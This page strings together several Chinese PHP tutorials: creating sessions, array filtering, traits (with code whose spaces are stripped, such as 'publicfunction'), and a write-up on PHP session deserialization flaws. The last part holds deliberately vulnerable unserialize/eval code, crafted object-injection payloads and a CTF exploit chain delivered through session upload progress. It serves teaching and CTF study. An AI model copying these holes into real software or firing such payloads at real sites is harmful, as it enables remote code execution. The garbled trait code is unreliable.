php 怎么创建session?php创建session的方法实例详解

 更新时间:2017年7月6日 23:33  点击:1924
小编分享的这篇文章介绍了php创建session的方法实例,不懂的同学可以参考一下

本文实例讲述了php创建session的方法。分享给大家供大家参考。具体分析如下:

保存session只需要两个步骤,开启session和保存session数据。默认情况下,session保存在服务器端 c:\windows\temp文件夹下(保存的路径可以在php.ini文件中修改:开启session.save_path,填写上保存的路径即可)。

session创建代码

 代码如下 复制代码
<?php
echo "------如何保存 session 数据---------<br />";
//1、初始化 session
session_start();
//2、保存数据,可以保存的数据类型包括:字符串、整型、double型,数组,对象等
$_SESSION['name']="百度";//保存字符串
$_SESSION['age']=80;//保存整型

//保存数组
$arr = array("name"=>"小陈","age"=>25,"job"=>"程序员");
$_SESSION['person'] = $arr;

//保存对象
class Dog{
 public $name;
 public $age;
 public $color;
 function __construct($name,$age,$color){
  $this->name=$name;
  $this->age=$age;
  $this->color=$color;
 }
}
$dog = new Dog("小狗",2,"黄色");
$_SESSION['dog'] = $dog;

echo "保存成功";
?>

 

在C:\windows\temp文件下,找到一个保存session的文件,打开如下图:

说明:

(1)每一个session用分号;隔开。
(2)以第一个session为例:name表示键值、s表示字符串(相应:i表示整型,a表示数组,o表示对象等)、4表示长度、"百度"表示键值。

细节知识(很重要):

(1)每一个会话(就是打开浏览器访问某个网站,在关闭浏览器时,会话也就结束)对应一个session文件;
(2)session文件在执行 session_start()时创建,但此时,该文件为空,如果有session数据,则会写入该文件;
(3)session 数据默认保留时间为 1440秒,此时间为发呆时间,也就是在这段时间内,没有使用过该 session 文件(如果有使用过,那该文件的修改时间会自动更新--右键查看该文件属性即可看到)。可以在php.ini文件修改此默认值:session.gc_maxlifetime = 1440;
(4)重中之重:服务器在返回客户端浏览器请求时,会将session的信息( 如:PHPSESSID=0pk6fmamnk1btcgbcf444dnd76 ),以cookie的方式返回给浏览器(同样,你可以使用httpwatch来抓包查看)。当浏览器访问该网站的其它页面时,根据http协调,会把该cookie信息发送给服务器。服务器再根据该信息,查找到对应的session文件(对应的文件名为:sess_0pk6fmamnk1btcgbcf444dnd76)。

这篇文章详细解析了PHP实现移除数组中为空或为某值元素的方法,有需要的同学可以参考一下

本文实例讲述了PHP实现移除数组中为空或为某值元素的方法。分享给大家供大家参考,具体如下:

在实现移除数组中项目为空的元素或为某值的元素时用到了两个函数 array_filter、create_function

先看一个实例:

 
 代码如下 复制代码
$array= Array ( [0] => 1 ,[1] => 2, [2] => 3, [3] => 4,[4] =>'',[5] =>'');
$array=array_filter($array,create_function('$v','return !empty($v);'));
print_r($array);
 

返回结果:

 代码如下 复制代码
Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )

函数介绍: array_filter

array_filter() 函数用回调函数过滤数组中的元素,如果自定义过滤函数返回 true,则被操作的数组的当前值就会被包含在返回的结果数组中, 并将结果组成一个新的数组。如果原数组是一个关联数组,键名保持不变。

小编介绍的这篇文张详细介绍了php 5.4 全新的代码复用Trait,有需要的同学可以参考一下

从PHP的5.4.0版本开始,PHP提供了一种全新的代码复用的概念,那就是Trait。Trait其字面意思是"特性"、"特点",我们可以理解为,使用Trait关键字,可以为PHP中的类添加新的特性。

熟悉面向对象的都知道,软件开发中常用的代码复用有继承和多态两种方式。在PHP中,只能实现单继承。而Trait则避免了这点。下面通过简单的额例子来进行对比说明。

1. 继承 VS 多态 VS Trait

现在有Publish.php和Answer.php这两个类。要在其中添加LOG功能,记录类内部的动作。有以下几种方案:

  1. 继承
  2. 多态
  3. Trait

1.1. 继承

如图:

代码结构如下:

// Log.php
<?php
Class Log
{
 publicfunctionstartLog()
 {
  // echo ...
 }
 
 publicfunctionendLog()
 {
  // echo ...
 }
}
// Publish.php
<?php
Class PublishextendsLog
{
 
}
// Answer.php
<?php
Class AnswerextendsLog
{
  
}

可以看到继承的确满足了要求。但这却违背了面向对象的原则。而发布(Publish)和回答(Answer)这样的操作和日志(Log)之间的关系并不是子类与父类的关系。所以不推荐这样使用。

1.2. 多态

如图:

实现代码:

// Log.php
<?php
Interface Log
{
 publicfunctionstartLog();
 publicfunctionendLog();
}
// Publish.php
<?php
Class PublishimplementsLog
{
 publicfunctionstartLog()
 {
  // TODO: Implement startLog() method.
 }
 publicfunctionendLog()
 {
  // TODO: Implement endLog() method.
 }
}
// Answer.php
<?php
Class AnswerimplementsLog
{
 publicfunctionstartLog()
 {
  // TODO: Implement startLog() method.
 }
 publicfunctionendLog()
 {
  // TODO: Implement endLog() method.
 }
}

记录日志的操作应该都是一样的,因此,发布(Publish)和回答(Answer)动作中的日志记录实现也是一样的。很明显,这违背了DRY(Don't Repeat Yourself)原则。所以是不推荐这样实现的。

1.3. Trait

如图:

实现代码如下:

// Log.php
<?php
trait Log{
 publicfunctionstartLog() {
  // echo ..
 }
 publicfunctionendLog() {
  // echo ..
 }
}
// Publish.php
<?php
classPublish {
 useLog;
}
$publish=newPublish();
$publish->startLog();
$publish->endLog();
// Answer.php
<?php
classAnswer {
 useLog;
}
$answer=newAnswer();
$answer->startLog();
$answer->endLog();

可以看到,我们在没有增加代码复杂的情况下,实现了代码的复用。

1.4. 结论

继承的方式虽然也能解决问题,但其思路违背了面向对象的原则,显得很粗暴;多态方式也可行,但不符合软件开发中的DRY原则,增加了维护成本。而Trait方式则避免了上述的不足之处,相对优雅的实现了代码的复用。

2. Trait的作用域

了解了Trait的好处,我们还需要了解其实现中的规则,先来说一下作用域。这个比较好证明,实现代码如下:

<?php
classPublish {
 useLog;
 publicfunctiondoPublish() {
  $this->publicF();
  $this->protectF();
  $this->privateF();
 }
}
$publish=newPublish();
$publish->doPublish();

执行上述代码输出结果如下:

publicfunction
protectedfunction
privatefunction

可以发现,Trait的作用域在引用该Trait类的内部是都可见的。可以理解为use关键字将Trait的实现代码Copy了一份到引用该Trait的类中。

3. Trait中属性的优先级

说到优先级,就必须要有一个对比的参照物,这里的参照对象时引用Trait的类及其父类。

通过以下的代码来证明Trait应用中的属性的优先级:

<?php
trait Log
{
 publicfunctionpublicF()
 {
  echo__METHOD__.' public function'. PHP_EOL;
 }
 protectedfunctionprotectF()
 {
  echo__METHOD__.' protected function'. PHP_EOL;
 }
}
 
classQuestion
{
 publicfunctionpublicF()
 {
  echo__METHOD__.' public function'. PHP_EOL;
 }
 protectedfunctionprotectF()
 {
  echo__METHOD__.' protected function'. PHP_EOL;
 }
}
 
classPublishextendsQuestion
{
 useLog;
 
 publicfunctionpublicF()
 {
  echo__METHOD__.' public function'. PHP_EOL;
 }
 publicfunctiondoPublish()
 {
  $this->publicF();
  $this->protectF();
 }
}
$publish=newPublish();
$publish->doPublish();

上述代码的输出结果如下:

Publish::publicFpublicfunction
Log::protectFprotectedfunction

通过上面的例子,可以总结出Trait应用中的优先级如下:

来自当前类的成员覆盖了 trait 的方法

trait 覆盖了被继承的方法

类成员优先级为:当前类>Trait>父类

4. Insteadof和As关键字

在一个类中,可以引用多个Trait,如下:

<?php
trait Log
{
 publicfunctionstartLog()
 {
  echo__METHOD__.' public function'. PHP_EOL;
 }
 protectedfunctionendLog()
 {
  echo__METHOD__.' protected function'. PHP_EOL;
 }
}
 
trait Check
{
 publicfunctionparameterCheck($parameters) {
  // do sth
 }
}
 
classPublishextendsQuestion
{
 useLog,Check;
 publicfunctiondoPublish($para) {
  $this->startLog();
  $this->parameterCheck($para);
  $this->endLog();
 }
}

通过上面的方式,我们可以在一个类中引用多个Trait。引用多个Trait的时候,就容易出问题了,最常见的问题就是两个Trait中如果出现了同名的属性或者方法该怎么办呢?这个时候就需要用到Insteadof和as这两个关键字了.请看如下实现代码:

<?php
 
trait Log
{
 publicfunctionparameterCheck($parameters)
 {
  echo__METHOD__.' parameter check'.$parameters. PHP_EOL;
 }
 
 publicfunctionstartLog()
 {
  echo__METHOD__.' public function'. PHP_EOL;
 }
}
 
trait Check
{
 publicfunctionparameterCheck($parameters)
 {
  echo__METHOD__.' parameter check'.$parameters. PHP_EOL;
 }
 
 publicfunctionstartLog()
 {
  echo__METHOD__.' public function'. PHP_EOL;
 }
}
 
classPublish
{
 useCheck, Log {
  Check::parameterCheck insteadof Log;
  Log::startLog insteadof Check;
  Check::startLogascsl;
 }
 
 publicfunctiondoPublish()
 {
  $this->startLog();
  $this->parameterCheck('params');
  $this->csl();
 }
}
 
$publish=newPublish();
$publish->doPublish();

执行上述代码,输出结果如下:

Log::startLogpublicfunction
Check::parameterCheck parameter checkparams
Check::startLogpublicfunction

就如字面意思一般,insteadof关键字用前者取代了后者,as关键字给被取代的方法起了一个别名。

在引用Trait时,使用了use关键字,use关键字也用来引用命名空间。两者的区别在于,引用Trait时是在class内部使用的。

SESSION在php中的作用我们肯定是知道了,如果我们要把数据利用反序列来存储的话可以和小编一起来看这篇PHP中SESSION反序列化机制的教程.

简介

在php.ini中存在三项配置项:

session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php
以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
在使用xampp组件安装中,上述的配置项的设置如下:

session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0    表明默认不启动session
session.serialize_handler=php     表明session的默认序列话引擎使用的是php序列话引擎
在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something
存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
假设我们的环境是xampp,那么默认配置如上所述。
在默认配置情况下:


<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>
最后的session的存储和显示如下:

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock";。name是键值,s:6:"spoock";是serialize("spoock")的结果。

在php_serialize引擎下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下:

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
SESSION文件的内容是names:6:"spoock";。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

序列化简单利用

test.php

<?php
class syclover{
        var $func="";
        function __construct() {
            $this->func = "phpinfo()";
        }
        function __wakeup(){
            eval($this->func);
        }
}
unserialize($_GET['a']);
?>

在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}。那么反序列化得到的内容是:


object(syclover)[1]
  public 'func' => string 'echo "spoock";' (length=14)
最后页面输出的就是spoock,说明最后执行了我们定义的echo "spoock";方法。
这就是一个简单的序列化的漏洞的演示

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:


$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1)
  'a:1:{s:6:"spoock";s:24:"' =>
    object(__PHP_Incomplete_Class)[1]
      public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际利用

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php来处理session


ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }
   
    function __destruct() {
         eval($this->hi);
    }
}

当访问s1.php时,提交如下的数据:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

CTF

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:
class.php

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}

class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}

class foo3{
        public $varr;
        function execute(){
                eval($this->varr);
        }
        function __desctuct(){
                echo "<br>这是foo3的析构函数<br>";
        }
}

?>
index.php

<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
myindex.php

<?php
class foo3{
        public $varr='echo "spoock";';
        function execute(){
                eval($this->varr);
        }
}
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = new foo3();
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
}

class foo1{
        public $varr;
        function __construct(){
                $this->varr = new foo2();
        }
}


$obj = new foo1();
print_r(serialize($obj));
?>

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是


O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

<form action="index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。
那么最终写入的文件名是|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}。注意与本地反序列化不一样的地方是要在最前方加上|
但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。

总结

通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。

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